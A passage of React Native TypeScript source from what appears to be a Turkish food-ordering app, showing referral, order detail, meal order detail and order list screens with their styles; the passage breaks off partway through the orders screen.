<Text style={styles.sectionTitle}>Davet Kodun</Text>
<View style={styles.codeCard}>
<View style={styles.codeBox}>
<Text style={styles.codeText}>{stats?.code || '---'}</Text>
</View>
<View style={styles.codeActions}>
<TouchableOpacity style={styles.codeBtn} onPress={handleCopy}>
<Text style={styles.codeBtnText}>Kopyala</Text>
</TouchableOpacity>
<TouchableOpacity
style={[styles.codeBtn, styles.whatsappBtn]}
onPress={handleWhatsApp}>
<Text style={styles.whatsappBtnText}>WhatsApp ile Paylas</Text>
</TouchableOpacity>
<TouchableOpacity
style={[styles.codeBtn, styles.shareBtn]}
onPress={handleShare}>
<Text style={styles.shareBtnText}>Paylas</Text>
</TouchableOpacity>
</View>
</View>
</View>
{/* How It Works */}
<View style={styles.section}>
<Text style={styles.sectionTitle}>Nasil Calisir?</Text>
<View style={styles.stepsCard}>
<View style={styles.stepRow}>
<View style={styles.stepIcon}>
<Text style={styles.stepEmoji}>{'\uD83D\uDC64'}</Text>
</View>
<View style={styles.stepText}>
<Text style={styles.stepTitle}>Arkadasin kayit olur</Text>
<Text style={styles.stepDesc}>
{stats?.stats.next_signup_points ?? 50}+ puan kazan
</Text>
</View>
</View>
<View style={styles.stepDivider} />
<View style={styles.stepRow}>
<View style={styles.stepIcon}>
<Text style={styles.stepEmoji}>{'\uD83D\uDED2'}</Text>
</View>
<View style={styles.stepText}>
<Text style={styles.stepTitle}>Ilk siparisini verir</Text>
<Text style={styles.stepDesc}>100 puan kazan</Text>
</View>
</View>
<View style={styles.stepDivider} />
<View style={styles.stepRow}>
<View style={styles.stepIcon}>
<Text style={styles.stepEmoji}>{'\uD83D\uDCC8'}</Text>
</View>
<View style={styles.stepText}>
<Text style={styles.stepTitle}>Ne kadar cok davet</Text>
<Text style={styles.stepDesc}>O kadar cok puan!</Text>
</View>
</View>
</View>
</View>
{/* Use Points */}
<View style={styles.section}>
<Text style={styles.sectionTitle}>Puanlarini Kullan</Text>
<View style={styles.stepsCard}>
<View style={styles.stepRow}>
<View style={styles.stepIcon}>
<Text style={styles.stepEmoji}>{'\uD83C\uDF81'}</Text>
</View>
<View style={styles.stepText}>
<Text style={styles.stepTitle}>Paketlerde indirim</Text>
<Text style={styles.stepDesc}>Magazalarin belirledigi teklifler</Text>
</View>
</View>
<View style={styles.stepDivider} />
<View style={styles.stepRow}>
<View style={styles.stepIcon}>
<Text style={styles.stepEmoji}>{'\uD83E\uDE99'}</Text>
</View>
<View style={styles.stepText}>
<Text style={styles.stepTitle}>HEZ Coin'e cevir</Text>
<Text style={styles.stepDesc}>Yakinda</Text>
</View>
</View>
</View>
</View>
{/* Referral History */}
<View style={styles.section}>
<Text style={styles.sectionTitle}>Davet Gecmisi</Text>
{history.length === 0 ? (
<View style={styles.emptyHistory}>
<Text style={styles.emptyEmoji}>{'\uD83D\uDC65'}</Text>
<Text style={styles.emptyTitle}>Henuz davetiniz yok</Text>
<Text style={styles.emptyText}>
Kodunuzu paylasin ve puan kazanmaya baslayin
</Text>
</View>
) : (
<View style={styles.historyCard}>
{history.map((item, index) => (
<View key={`${item.referred_name}-${item.created_at}`}>
{index > 0 && <View style={styles.historyDivider} />}
<View style={styles.historyRow}>
<View style={styles.historyLeft}>
<Text style={styles.historyName}>{item.referred_name}</Text>
<Text style={styles.historyDate}>
{new Date(item.created_at).toLocaleDateString('tr-TR')}
</Text>
</View>
<View style={styles.historyRight}>
<Text style={styles.historyStatus}>
{item.status === 'first_purchase' ? '\u2705' : '\u23F3'}
</Text>
<Text style={styles.historyPoints}>+{item.points_earned}</Text>
</View>
</View>
</View>
))}
</View>
)}
</View>
<View style={{height: 100}} />
</ScrollView>
</View>
);
}
const styles = StyleSheet.create({
container: {flex: 1, backgroundColor: '#F8F8F8'},
loadingContainer: {
flex: 1,
justifyContent: 'center',
alignItems: 'center',
backgroundColor: '#F8F8F8',
},
// Header
header: {
flexDirection: 'row',
alignItems: 'center',
justifyContent: 'space-between',
paddingHorizontal: 16,
paddingBottom: 16,
backgroundColor: colors.primary,
},
backIcon: {fontSize: 22, color: '#FFFFFF'},
headerTitle: {fontSize: 17, fontWeight: '700', color: '#FFFFFF'},
// Points
pointsCard: {
backgroundColor: colors.primary,
paddingHorizontal: 16,
paddingBottom: 24,
alignItems: 'center',
},
pointsLabel: {
fontSize: 14,
color: 'rgba(255,255,255,0.7)',
fontWeight: '500',
},
pointsValue: {
fontSize: 48,
fontWeight: '800',
color: '#FFFFFF',
marginTop: 4,
},
pointsUnit: {
fontSize: 16,
color: 'rgba(255,255,255,0.8)',
fontWeight: '600',
marginTop: -4,
},
statsRow: {
flexDirection: 'row',
marginTop: 20,
backgroundColor: 'rgba(255,255,255,0.15)',
borderRadius: borderRadius.lg,
paddingVertical: 12,
paddingHorizontal: 16,
},
statItem: {flex: 1, alignItems: 'center'},
statNumber: {fontSize: 18, fontWeight: '700', color: '#FFFFFF'},
statLabel: {fontSize: 11, color: 'rgba(255,255,255,0.7)', marginTop: 2},
statDivider: {width: 1, backgroundColor: 'rgba(255,255,255,0.2)'},
// Sections
section: {marginTop: 16, paddingHorizontal: 16},
sectionTitle: {
fontSize: 16,
fontWeight: '700',
color: '#1A1A1A',
marginBottom: 10,
marginLeft: 4,
},
// Code
codeCard: {
backgroundColor: '#FFFFFF',
borderRadius: borderRadius.lg,
padding: 16,
},
codeBox: {
backgroundColor: '#F3F4F6',
borderRadius: borderRadius.md,
paddingVertical: 16,
alignItems: 'center',
borderWidth: 2,
borderColor: colors.primary,
borderStyle: 'dashed',
},
codeText: {
fontSize: 24,
fontWeight: '800',
color: colors.primary,
letterSpacing: 3,
},
codeActions: {marginTop: 12},
codeBtn: {
borderWidth: 1,
borderColor: colors.border,
borderRadius: borderRadius.md,
paddingVertical: 12,
alignItems: 'center',
marginBottom: 8,
},
codeBtnText: {fontSize: 14, fontWeight: '600', color: colors.textPrimary},
whatsappBtn: {
backgroundColor: '#25D366',
borderColor: '#25D366',
},
whatsappBtnText: {fontSize: 14, fontWeight: '700', color: '#FFFFFF'},
shareBtn: {
backgroundColor: colors.primary,
borderColor: colors.primary,
},
shareBtnText: {fontSize: 14, fontWeight: '700', color: '#FFFFFF'},
// Steps
stepsCard: {
backgroundColor: '#FFFFFF',
borderRadius: borderRadius.lg,
padding: 16,
},
stepRow: {flexDirection: 'row', alignItems: 'center'},
stepIcon: {
width: 44,
height: 44,
borderRadius: 12,
backgroundColor: '#F3F4F6',
justifyContent: 'center',
alignItems: 'center',
marginRight: 12,
},
stepEmoji: {fontSize: 20},
stepText: {flex: 1},
stepTitle: {fontSize: 14, fontWeight: '600', color: '#1A1A1A'},
stepDesc: {fontSize: 12, color: '#6B7280', marginTop: 2},
stepDivider: {height: 1, backgroundColor: '#F3F4F6', marginVertical: 12, marginLeft: 56},
// History
emptyHistory: {
backgroundColor: '#FFFFFF',
borderRadius: borderRadius.lg,
padding: 32,
alignItems: 'center',
},
emptyEmoji: {fontSize: 40, marginBottom: 12},
emptyTitle: {fontSize: 16, fontWeight: '700', color: '#1A1A1A', marginBottom: 4},
emptyText: {fontSize: 13, color: '#6B7280', textAlign: 'center'},
historyCard: {
backgroundColor: '#FFFFFF',
borderRadius: borderRadius.lg,
padding: 16,
},
historyRow: {
flexDirection: 'row',
justifyContent: 'space-between',
alignItems: 'center',
paddingVertical: 8,
},
historyLeft: {flex: 1},
historyName: {fontSize: 14, fontWeight: '600', color: '#1A1A1A'},
historyDate: {fontSize: 11, color: '#9CA3AF', marginTop: 2},
historyRight: {flexDirection: 'row', alignItems: 'center'},
historyStatus: {fontSize: 16, marginRight: 8},
historyPoints: {fontSize: 14, fontWeight: '700', color: colors.primary},
historyDivider: {height: 1, backgroundColor: '#F3F4F6'},
});
@@ -0,0 +1,160 @@
import React from 'react';
import {View, Text, StyleSheet, TouchableOpacity, ScrollView} from 'react-native';
import {useSafeAreaInsets} from 'react-native-safe-area-context';
import QRCode from 'react-native-qrcode-svg';
import {useTranslation} from 'react-i18next';
import {colors, spacing, typography, borderRadius} from '../../theme';
import type {MealOrder} from '../../types/models';
const STATUS_LABEL_KEYS: Record<MealOrder['status'], string> = {
pending: 'orders.statusPending',
accepted: 'orders.statusAccepted',
rejected: 'orders.statusRejected',
completed: 'orders.statusCompleted',
cancelled: 'orders.statusCancelled',
};
const STATUS_COLORS: Record<MealOrder['status'], string> = {
pending: colors.warning,
accepted: colors.info,
rejected: colors.error,
completed: colors.success,
cancelled: colors.textSecondary,
};
function formatDate(dateStr: string): string {
const d = new Date(dateStr);
const day = d.getDate().toString().padStart(2, '0');
const month = (d.getMonth() + 1).toString().padStart(2, '0');
const year = d.getFullYear();
const hours = d.getHours().toString().padStart(2, '0');
const mins = d.getMinutes().toString().padStart(2, '0');
return `${day}.${month}.${year} ${hours}:${mins}`;
}
export default function MealOrderDetailScreen({route, navigation}: any) {
const {t} = useTranslation();
const {order} = route.params as {order: MealOrder};
const insets = useSafeAreaInsets();
const statusColor = STATUS_COLORS[order.status];
const statusLabel = t(STATUS_LABEL_KEYS[order.status]);
const showQr = order.qr_token && (order.status === 'pending' || order.status === 'accepted');
return (
<View style={styles.container}>
<ScrollView contentContainerStyle={styles.scroll}>
<TouchableOpacity
style={[styles.backButton, {paddingTop: insets.top + 8}]}
onPress={() => navigation.goBack()}>
<Text style={styles.backText}>{'\u2190'} {t('common.back')}</Text>
</TouchableOpacity>
<View style={[styles.statusHeader, {backgroundColor: statusColor}]}>
<Text style={styles.statusIcon}>
{order.status === 'completed' ? '\u2705' :
order.status === 'accepted' ? '\uD83D\uDC68\u200D\uD83C\uDF73' :
order.status === 'rejected' ? '\u274C' :
order.status === 'cancelled' ? '\u274C' : '\u23F3'}
</Text>
<Text style={styles.statusLabel}>{statusLabel}</Text>
</View>
{showQr && (
<View style={styles.qrSection}>
<Text style={styles.qrTitle}>{t('orderDetail.pickupCode')}</Text>
<View style={styles.qrContainer}>
<QRCode
value={order.qr_token}
size={180}
backgroundColor="#FAFAFA"
color={colors.textPrimary}
/>
</View>
<View style={styles.tokenContainer}>
<Text style={styles.tokenLabel}>Token</Text>
<Text style={styles.tokenValue}>{order.qr_token}</Text>
</View>
<Text style={styles.qrHint}>{t('mealOrderDetail.qrHint')}</Text>
</View>
)}
<View style={styles.detailsSection}>
<Text style={styles.sectionTitle}>{t('orderDetail.orderDetails')}</Text>
<View style={styles.detailRow}>
<Text style={styles.detailLabel}>{t('mealOrderDetail.portionLabel')}</Text>
<Text style={styles.detailValue}>{order.portions}</Text>
</View>
<View style={styles.detailRow}>
<Text style={styles.detailLabel}>{t('orderDetail.total')}</Text>
<Text style={styles.totalPrice}>{order.total_price.toFixed(0)} TL</Text>
</View>
<View style={styles.detailRow}>
<Text style={styles.detailLabel}>{t('mealOrderDetail.orderDate')}</Text>
<Text style={styles.detailValue}>{formatDate(order.created_at)}</Text>
</View>
{order.accepted_at && (
<View style={styles.detailRow}>
<Text style={styles.detailLabel}>{t('mealOrderDetail.acceptDate')}</Text>
<Text style={styles.detailValue}>{formatDate(order.accepted_at)}</Text>
</View>
)}
{order.completed_at && (
<View style={styles.detailRow}>
<Text style={styles.detailLabel}>{t('mealOrderDetail.deliveryDate')}</Text>
<Text style={styles.detailValue}>{formatDate(order.completed_at)}</Text>
</View>
)}
{order.cancelled_at && (
<View style={styles.detailRow}>
<Text style={styles.detailLabel}>{t('mealOrderDetail.cancelDate')}</Text>
<Text style={styles.detailValue}>{formatDate(order.cancelled_at)}</Text>
</View>
)}
</View>
</ScrollView>
</View>
);
}
const styles = StyleSheet.create({
container: {flex: 1, backgroundColor: colors.background},
scroll: {paddingBottom: 100},
backButton: {paddingHorizontal: spacing.xl, paddingBottom: spacing.md},
backText: {...typography.body, color: colors.primary},
statusHeader: {
alignItems: 'center', paddingVertical: spacing.xxl,
marginHorizontal: spacing.xl, borderRadius: borderRadius.lg,
},
statusIcon: {fontSize: 40, marginBottom: spacing.sm},
statusLabel: {...typography.h3, color: colors.textWhite},
qrSection: {
alignItems: 'center', backgroundColor: colors.backgroundWhite,
marginHorizontal: spacing.xl, marginTop: spacing.lg,
borderRadius: borderRadius.lg, padding: spacing.xl,
},
qrTitle: {...typography.h3, color: colors.textPrimary, marginBottom: spacing.lg},
qrContainer: {padding: spacing.lg, backgroundColor: '#FAFAFA', borderRadius: borderRadius.md},
tokenContainer: {marginTop: spacing.lg, alignItems: 'center'},
tokenLabel: {...typography.small, color: colors.textSecondary},
tokenValue: {...typography.h3, color: colors.primary, marginTop: spacing.xs, letterSpacing: 2},
qrHint: {...typography.small, color: colors.textLight, marginTop: spacing.md, textAlign: 'center'},
detailsSection: {
backgroundColor: colors.backgroundWhite, marginHorizontal: spacing.xl,
marginTop: spacing.lg, borderRadius: borderRadius.lg, padding: spacing.xl,
},
sectionTitle: {...typography.captionBold, color: colors.textSecondary, marginBottom: spacing.lg},
detailRow: {
flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center',
paddingVertical: spacing.sm, borderBottomWidth: StyleSheet.hairlineWidth,
borderBottomColor: colors.borderLight,
},
detailLabel: {...typography.caption, color: colors.textSecondary},
detailValue: {...typography.captionBold, color: colors.textPrimary},
totalPrice: {...typography.price, color: colors.primary},
});
@@ -0,0 +1,477 @@
import React, {useEffect, useState} from 'react';
import {
View,
Text,
TouchableOpacity,
StyleSheet,
ScrollView,
Alert,
ActivityIndicator,
TextInput,
} from 'react-native';
import QRCode from 'react-native-qrcode-svg';
import {useTranslation} from 'react-i18next';
import {colors, spacing, typography, borderRadius} from '../../theme';
import {getOrder, cancelOrder} from '../../api/orders';
import {createReview} from '../../api/reviews';
import type {Order} from '../../types/models';
import type {NativeStackScreenProps} from '@react-navigation/native-stack';
type RootStackParamList = {
OrderDetail: {orderId: string};
};
type Props = NativeStackScreenProps<RootStackParamList, 'OrderDetail'>;
const STATUS_LABEL_KEYS: Record<Order['status'], string> = {
pending: 'orders.statusPending',
paid: 'orders.statusPaid',
picked_up: 'orders.statusPickedUp',
cancelled: 'orders.statusCancelled',
refunded: 'orders.statusRefunded',
};
const STATUS_COLORS: Record<Order['status'], string> = {
pending: colors.warning,
paid: colors.info,
picked_up: colors.success,
cancelled: colors.error,
refunded: colors.textSecondary,
};
function formatDate(dateStr: string): string {
const d = new Date(dateStr);
const day = d.getDate().toString().padStart(2, '0');
const month = (d.getMonth() + 1).toString().padStart(2, '0');
const year = d.getFullYear();
const hours = d.getHours().toString().padStart(2, '0');
const mins = d.getMinutes().toString().padStart(2, '0');
return `${day}.${month}.${year} ${hours}:${mins}`;
}
export default function OrderDetailScreen({route, navigation}: Props) {
const {t} = useTranslation();
const {orderId} = route.params;
const [order, setOrder] = useState<Order | null>(null);
const [loading, setLoading] = useState(true);
const [cancelling, setCancelling] = useState(false);
const [showReview, setShowReview] = useState(false);
const [reviewRating, setReviewRating] = useState(0);
const [reviewComment, setReviewComment] = useState('');
const [submittingReview, setSubmittingReview] = useState(false);
const [reviewSubmitted, setReviewSubmitted] = useState(false);
useEffect(() => {
loadOrder();
// eslint-disable-next-line react-hooks/exhaustive-deps -- loadOrder depends on orderId from route params which won't change
}, []);
const loadOrder = async () => {
try {
const data = await getOrder(orderId);
setOrder(data);
} catch {
Alert.alert(t('common.error'), t('orderDetail.loadError'));
} finally {
setLoading(false);
}
};
const handleCancel = () => {
Alert.alert(
t('orderDetail.cancelTitle'),
t('orderDetail.cancelMessage'),
[
{text: t('common.cancel'), style: 'cancel'},
{
text: t('orderDetail.cancelConfirm'),
style: 'destructive',
onPress: async () => {
setCancelling(true);
try {
const updated = await cancelOrder(orderId);
setOrder(updated);
Alert.alert(t('changePassword.successTitle'), t('orderDetail.cancelSuccess'));
} catch {
Alert.alert(t('common.error'), t('orderDetail.cancelFailed'));
} finally {
setCancelling(false);
}
},
},
],
);
};
const handleReviewSubmit = async () => {
if (reviewRating === 0) {
Alert.alert(t('common.error'), t('orderDetail.reviewRatingRequired'));
return;
}
if (!order?.store_id) return;
setSubmittingReview(true);
try {
await createReview(
'store',
order.store_id,
reviewRating,
reviewComment.trim() || undefined,
order.id,
);
setReviewSubmitted(true);
setShowReview(false);
Alert.alert(t('orderDetail.reviewSuccessTitle'), t('orderDetail.reviewSuccess'));
} catch (err: any) {
const msg = err?.response?.data?.message || t('orderDetail.reviewFailed');
Alert.alert(t('common.error'), msg);
} finally {
setSubmittingReview(false);
}
};
if (loading) {
return (
<View style={styles.loadingContainer}>
<ActivityIndicator size="large" color={colors.primary} />
</View>
);
}
if (!order) {
return (
<View style={styles.container}>
<TouchableOpacity
style={styles.backButton}
onPress={() => navigation.goBack()}>
<Text style={styles.backText}>{'\u2190'} {t('common.back')}</Text>
</TouchableOpacity>
<View style={styles.loadingContainer}>
<Text style={styles.errorText}>{t('orderDetail.notFound')}</Text>
<TouchableOpacity
style={{marginTop: 20, backgroundColor: colors.primary, borderRadius: 12, paddingHorizontal: 24, paddingVertical: 12}}
onPress={() => navigation.goBack()}>
<Text style={{color: '#FFFFFF', fontWeight: '700', fontSize: 14}}>{t('common.goBack')}</Text>
</TouchableOpacity>
</View>
</View>
);
}
const statusColor = STATUS_COLORS[order.status];
const statusLabel = t(STATUS_LABEL_KEYS[order.status]);
const canCancel = order.status === 'pending';
return (
<View style={styles.container}>
<ScrollView contentContainerStyle={styles.scroll}>
{/* Back button */}
<TouchableOpacity
style={styles.backButton}
onPress={() => navigation.goBack()}>
<Text style={styles.backText}>{'\u2190'} {t('common.back')}</Text>
</TouchableOpacity>
{/* Status header */}
<View style={[styles.statusHeader, {backgroundColor: statusColor}]}>
<Text style={styles.statusIcon}>
{order.status === 'picked_up'
? '\u2705'
: order.status === 'cancelled'
? '\u274C'
: order.status === 'paid'
? '\uD83D\uDCB3'
: '\u23F3'}
</Text>
<Text style={styles.statusLabel}>{statusLabel}</Text>
</View>
{/* QR Code section */}
{order.qr_token && (order.status === 'pending' || order.status === 'paid') && (
<View style={styles.qrSection}>
<Text style={styles.qrTitle}>{t('orderDetail.pickupCode')}</Text>
<View style={styles.qrContainer}>
<QRCode
value={order.qr_token}
size={180}
backgroundColor={colors.qrBackground}
color={colors.textPrimary}
/>
</View>
<View style={styles.tokenContainer}>
<Text style={styles.tokenLabel}>Token</Text>
<Text style={styles.tokenValue}>{order.qr_token}</Text>
</View>
<Text style={styles.qrHint}>
{t('orderDetail.qrHint')}
</Text>
</View>
)}
{/* Order details */}
<View style={styles.detailsSection}>
<Text style={styles.sectionTitle}>{t('orderDetail.orderDetails')}</Text>
<View style={styles.detailRow}>
<Text style={styles.detailLabel}>{t('orderDetail.orderNo')}</Text>
<Text style={styles.detailValue}>
#{order.id.slice(0, 8).toUpperCase()}
</Text>
</View>
<View style={styles.detailRow}>
<Text style={styles.detailLabel}>{t('orderDetail.quantity')}</Text>
<Text style={styles.detailValue}>{order.quantity}</Text>
</View>
<View style={styles.detailRow}>
<Text style={styles.detailLabel}>{t('orderDetail.unitPrice')}</Text>
<Text style={styles.detailValue}>{order.unit_price.toFixed(0)} TL</Text>
</View>
<View style={styles.detailRow}>
<Text style={styles.detailLabel}>{t('orderDetail.total')}</Text>
<Text style={styles.totalPrice}>{order.total_price.toFixed(0)} TL</Text>
</View>
<View style={styles.detailRow}>
<Text style={styles.detailLabel}>{t('orderDetail.date')}</Text>
<Text style={styles.detailValue}>{formatDate(order.created_at)}</Text>
</View>
{order.paid_at && (
<View style={styles.detailRow}>
<Text style={styles.detailLabel}>{t('orderDetail.paymentDate')}</Text>
<Text style={styles.detailValue}>{formatDate(order.paid_at)}</Text>
</View>
)}
{order.picked_up_at && (
<View style={styles.detailRow}>
<Text style={styles.detailLabel}>{t('orderDetail.pickupDate')}</Text>
<Text style={styles.detailValue}>{formatDate(order.picked_up_at)}</Text>
</View>
)}
{order.cancelled_at && (
<View style={styles.detailRow}>
<Text style={styles.detailLabel}>{t('orderDetail.cancelDate')}</Text>
<Text style={styles.detailValue}>{formatDate(order.cancelled_at)}</Text>
</View>
)}
</View>
{/* Cancel button */}
{canCancel && (
<TouchableOpacity
style={[styles.cancelButton, cancelling && styles.cancelButtonDisabled]}
onPress={handleCancel}
disabled={cancelling}>
<Text style={styles.cancelText}>
{cancelling ? t('orderDetail.cancelling') : t('orderDetail.cancelOrder')}
</Text>
</TouchableOpacity>
)}
{/* Review section — only for picked_up orders */}
{order.status === 'picked_up' && !reviewSubmitted && (
<View style={styles.reviewSection}>
{!showReview ? (
<TouchableOpacity
style={styles.reviewButton}
onPress={() => setShowReview(true)}>
<Text style={styles.reviewButtonText}>{t('orderDetail.reviewButton')}</Text>
</TouchableOpacity>
) : (
<View style={styles.reviewForm}>
<Text style={styles.reviewFormTitle}>{t('orderDetail.reviewTitle')}</Text>
<View style={styles.starRow}>
{[1, 2, 3, 4, 5].map(star => (
<TouchableOpacity key={star} onPress={() => setReviewRating(star)}>
<Text style={[styles.star, star <= reviewRating && styles.starActive]}>
{star <= reviewRating ? '\u2605' : '\u2606'}
</Text>
</TouchableOpacity>
))}
</View>
<TextInput
style={styles.reviewInput}
placeholder={t('orderDetail.reviewPlaceholder')}
placeholderTextColor="#9CA3AF"
value={reviewComment}
onChangeText={setReviewComment}
multiline
maxLength={500}
/>
<TouchableOpacity
style={[styles.reviewSubmitBtn, submittingReview && {opacity: 0.6}]}
onPress={handleReviewSubmit}
disabled={submittingReview}>
<Text style={styles.reviewSubmitText}>
{submittingReview ? t('orderDetail.reviewSubmitting') : t('orderDetail.reviewSubmit')}
</Text>
</TouchableOpacity>
</View>
)}
</View>
)}
{reviewSubmitted && (
<View style={styles.reviewSection}>
<Text style={styles.reviewDoneText}>{t('orderDetail.reviewDone')}</Text>
</View>
)}
</ScrollView>
</View>
);
}
const styles = StyleSheet.create({
container: {flex: 1, backgroundColor: colors.background},
loadingContainer: {
flex: 1,
justifyContent: 'center',
alignItems: 'center',
backgroundColor: colors.background,
},
errorText: {...typography.body, color: colors.textSecondary},
scroll: {paddingBottom: spacing.xxxl},
backButton: {
paddingTop: 56,
paddingHorizontal: spacing.xl,
paddingBottom: spacing.md,
},
backText: {...typography.body, color: colors.primary},
statusHeader: {
alignItems: 'center',
paddingVertical: spacing.xxl,
marginHorizontal: spacing.xl,
borderRadius: borderRadius.lg,
},
statusIcon: {fontSize: 40, marginBottom: spacing.sm},
statusLabel: {...typography.h3, color: colors.textWhite},
qrSection: {
alignItems: 'center',
backgroundColor: colors.backgroundWhite,
marginHorizontal: spacing.xl,
marginTop: spacing.lg,
borderRadius: borderRadius.lg,
padding: spacing.xl,
},
qrTitle: {...typography.h3, color: colors.textPrimary, marginBottom: spacing.lg},
qrContainer: {
padding: spacing.lg,
backgroundColor: colors.qrBackground,
borderRadius: borderRadius.md,
},
tokenContainer: {
marginTop: spacing.lg,
alignItems: 'center',
},
tokenLabel: {...typography.small, color: colors.textSecondary},
tokenValue: {
...typography.h3,
color: colors.primary,
marginTop: spacing.xs,
letterSpacing: 2,
},
qrHint: {
...typography.small,
color: colors.textLight,
marginTop: spacing.md,
textAlign: 'center',
},
detailsSection: {
backgroundColor: colors.backgroundWhite,
marginHorizontal: spacing.xl,
marginTop: spacing.lg,
borderRadius: borderRadius.lg,
padding: spacing.xl,
},
sectionTitle: {
...typography.captionBold,
color: colors.textSecondary,
marginBottom: spacing.lg,
},
detailRow: {
flexDirection: 'row',
justifyContent: 'space-between',
alignItems: 'center',
paddingVertical: spacing.sm,
borderBottomWidth: StyleSheet.hairlineWidth,
borderBottomColor: colors.borderLight,
},
detailLabel: {...typography.caption, color: colors.textSecondary},
detailValue: {...typography.captionBold, color: colors.textPrimary},
totalPrice: {...typography.price, color: colors.primary},
cancelButton: {
marginHorizontal: spacing.xl,
marginTop: spacing.xl,
backgroundColor: colors.backgroundWhite,
borderRadius: borderRadius.lg,
padding: spacing.lg,
alignItems: 'center',
borderWidth: 1,
borderColor: colors.error,
},
cancelButtonDisabled: {opacity: 0.6},
cancelText: {...typography.button, color: colors.error},
reviewSection: {
marginHorizontal: spacing.xl,
marginTop: spacing.xl,
},
reviewButton: {
backgroundColor: colors.primary,
borderRadius: borderRadius.lg,
padding: spacing.lg,
alignItems: 'center',
},
reviewButtonText: {...typography.button, color: '#FFFFFF'},
reviewForm: {
backgroundColor: colors.backgroundWhite,
borderRadius: borderRadius.lg,
padding: spacing.xl,
},
reviewFormTitle: {
...typography.h3,
color: colors.textPrimary,
textAlign: 'center',
marginBottom: spacing.md,
},
starRow: {
flexDirection: 'row',
justifyContent: 'center',
gap: 8,
marginBottom: spacing.lg,
},
star: {
fontSize: 36,
color: '#D1D5DB',
},
starActive: {
color: '#F59E0B',
},
reviewInput: {
borderWidth: 1,
borderColor: '#E5E7EB',
borderRadius: borderRadius.md,
padding: spacing.md,
fontSize: 14,
color: colors.textPrimary,
minHeight: 80,
textAlignVertical: 'top',
marginBottom: spacing.md,
},
reviewSubmitBtn: {
backgroundColor: colors.primary,
borderRadius: borderRadius.md,
padding: spacing.md,
alignItems: 'center',
},
reviewSubmitText: {...typography.button, color: '#FFFFFF'},
reviewDoneText: {
...typography.body,
color: colors.success,
textAlign: 'center',
paddingVertical: spacing.md,
},
});
@@ -0,0 +1,366 @@
import React, {useCallback, useState} from 'react';
import {
View,
Text,
FlatList,
StyleSheet,
RefreshControl,
ActivityIndicator,
TouchableOpacity,
} from 'react-native';
import {useFocusEffect, useNavigation} from '@react-navigation/native';
import {useSafeAreaInsets} from 'react-native-safe-area-context';
import type {NavigationProp} from '@react-navigation/native';
import {useTranslation} from 'react-i18next';
import {colors, spacing, typography, borderRadius} from '../../theme';
import {getOrders} from '../../api/orders';
import {getMealOrders} from '../../api/meals';
import type {Order, MealOrder} from '../../types/models';
import OrderCard from '../../components/OrderCard';
type Tab = 'packages' | 'meals';
const MEAL_STATUS_LABEL_KEYS: Record<MealOrder['status'], string> = {
pending: 'orders.statusPending',
accepted: 'orders.statusAccepted',
rejected: 'orders.statusRejected',
completed: 'orders.statusCompleted',
cancelled: 'orders.statusCancelled',
};
const MEAL_STATUS_COLORS: Record<MealOrder['status'], string> = {
pending: colors.warning,
accepted: colors.info,
rejected: colors.error,
completed: colors.success,
cancelled: colors.textSecondary,
};
function formatDate(dateStr: string): string {
const d = new Date(dateStr);
const day = d.getDate().toString().padStart(2, '0');
const month = (d.getMonth() + 1).toString().padStart(2, '0');
const hours = d.getHours().toString().padStart(2, '0');
const mins = d.getMinutes().toString().padStart(2, '0');
return `${day}.${month} ${hours}:${mins}`;
}
function MealOrderCard({order, onPress}: {order: MealOrder; onPress: () => void}) {
const {t} = useTranslation();
const statusColor = MEAL_STATUS_COLORS[order.status];
const statusLabel = t(MEAL_STATUS_LABEL_KEYS[order.status]);
return (
<TouchableOpacity style={mealStyles.card} onPress={onPress} activeOpacity={0.7}>
<View style={mealStyles.header}>
<View style={mealStyles.typeBadge}>
<Text style={mealStyles.typeBadgeText}>{t('orders.mealOrderBadge')}</Text>
</View>
<View style={[mealStyles.statusBadge, {backgroundColor: statusColor}]}>
<Text style={mealStyles.statusText}>{statusLabel}</Text>
</View>
</View>
<View style={mealStyles.footer}>
<View>
<Text style={mealStyles.portions}>{t('orders.portions', {count: order.portions})}</Text>
<Text style={mealStyles.price}>{order.total_price.toFixed(0)} TL</Text>
</View>
<Text style={mealStyles.date}>{formatDate(order.created_at)}</Text>
</View>
</TouchableOpacity>
);
}
const mealStyles = StyleSheet.create({
card: {
backgroundColor: colors.backgroundCard,
borderRadius: borderRadius.lg,
padding: spacing.lg,
marginBottom: spacing.md,
shadowColor: '#000',
shadowOffset: {width: 0, height: 2},
shadowOpacity: 0.08,
shadowRadius: 4,
elevation: 3,
borderLeftWidth: 4,
borderLeftColor: '#F59E0B',
},
header: {
flexDirection: 'row',
justifyContent: 'space-between',
alignItems: 'center',
marginBottom: spacing.sm,
},
typeBadge: {
backgroundColor: '#FEF3C7',
borderRadius: 6,
paddingHorizontal: spacing.sm,
paddingVertical: 2,
},
typeBadgeText: {
fontSize: 11,
fontWeight: '700',
color: '#92400E',
},
statusBadge: {
borderRadius: 6,
paddingHorizontal: spacing.sm,
paddingVertical: 2,
},
statusText: {
...typography.small,
color: colors.textWhite,
fontWeight: '600',
},
footer: {
flexDirection: 'row',
justifyContent: 'space-between',
alignItems: 'flex-end',
},
portions: {
...typography.caption,
color: colors.textSecondary,
marginBottom: 2,
},
price: {
...typography.price,
color: colors.primary,
fontSize: 18,
},
date: {
...typography.small,
color: colors.textSecondary,
},
});
export default function OrdersScreen() {
const {t} = useTranslation();
const navigation = useNavigation<NavigationProp<Record<string, object | undefined>>>();
const [orders, setOrders] = useState<Order[]>([]);
const [mealOrders, setMealOrders] = useState<MealOrder[]>([]);
const [activeTab, setActiveTab] = useState<Tab>('packages');
const [loading, setLoading] = useState(true);
const [refreshing, setRefreshing] = useState(false);
const insets = useSafeAreaInsets();
const fetchOrders = async (isRefresh = false) => {
if (isRefresh) setRefreshing(true);
else setLoading(true);
try {
const [pkgData, mealData] = await Promise.all([
getOrders(),
getMealOrders().catch(() => [] as MealOrder[]),
]);
setOrders(pkgData);
setMealOrders(mealData);
} catch {
// Silent fail
} finally {
setLoading(false);
setRefreshing(false);
}
};
useFocusEffect(
useCallback(() => {
fetchOrders();
}, []),
);
const handleOrderPress = (order: Order) => {
navigation.navigate('OrderDetail', {orderId: order.id});
};
const handleMealOrderPress = (order: MealOrder) => {
navigation.navigate('MealOrderDetail', {order});
};
const handleQrScan = () => {
navigation.navigate('QrScan' as never);
};
const totalCount = orders.length + mealOrders.length;
if (loading && orders.length === 0 && mealOrders.length === 0) {
return (
<View style={styles.loadingContainer}>
<ActivityIndicator size="large" color={colors.primary} />
</View>
);
}
return (
<View style={styles.container}>
{/* Header with QR button */}
